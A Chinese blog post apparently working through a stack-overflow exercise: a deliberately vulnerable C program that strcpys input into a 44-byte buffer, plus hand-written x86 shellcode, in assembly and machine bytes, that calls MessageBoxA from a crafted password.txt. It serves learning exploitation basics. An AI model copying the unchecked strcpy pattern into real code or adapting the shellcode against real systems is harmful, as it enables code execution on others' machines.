人为漏洞的构造、文件的载入、弹出MessageBox

获得正确的结果已经不能满足我的欲望了,我希望能进一步的利用,从而弹出一个消息框,这将使用到MessageBox函数。

我们先计算MessageBoxA的地址

0x77D10000+0X000407EA=0x77D507EA


我们写入对应的汇编代码:

 1     __asm
 2     {
 3         xor ebx,ebx
 4         push ebx
 5         push 0x00003231
 6         push 0x30326b74
 7         mov eax,esp
 8         push ebx
 9         push eax
10         push eax
11         push ebx
12         mov eax,0x77D507EA
13         call eax
14         add esp,0xc
15     }

则,对应的机器码为:

 33DB       
  53           
 68 31320000  
  68 746B3230  
  8BC4        
  53           
  50          
  50           
  53           
 B8 EA07D577  
 FFD0        
 83C4 0C    

 将其写入到txt文件中,等待进行长度的匹配。

通过不断的调试,终于文件password.txt中的内容为

我们的源码中改变了一点

 1 // stack_overflow.cpp : Defines the entry point for the console application.
 2  //
 3  
 4  #include "stdafx.h"
 5  #include <WINDOWS.H>
 6  #define  PASSWORD "1234567"
 7  
 8  int verify_password(char *password)
 9  {
10      int authenticated;   
11      char buffer[44];   
12      authenticated = strcmp(password,PASSWORD);   
13      strcpy(buffer,password);                     //溢出位置
14      return authenticated;                        
15  }
16  
17  void main()
18  {
19      LoadLibraryA("user32.dll");
20  
21      int valid_flag = 0;
22      char password[1024];
23      FILE* fp;
24      if (!(fp = fopen("D:\\password.txt","rw+")))
25      {
26          exit(0);
27      }
28      fscanf(fp,"%s",password);
29      valid_flag = verify_password(password);
30      if (valid_flag)
31      {
32          printf("incorrect password!\n\n");
33      } 
34      else
35      {
36          printf("Congratulation!You have passed the verification!\n");
37      }
38      fclose(fp);
39  }
40  

添加了include <windows.h>和LoadLibrary(“user32.dll”)

为了添加messagebox方便。

因为strcpy会对00截断,所以我们构造的字符文件必须要满足一些条件,不断的调试。

成功后出现

可惜程序还是会出现崩溃,本来想实现堆栈平衡的,结果被strcpy截断了。

https://files.cnblogs.com/tk091/overflowExeAndTxt.rar

==================================

书读多了,就会有福至心灵的感觉。

原文地址:https://www.cnblogs.com/tk091/p/2713426.html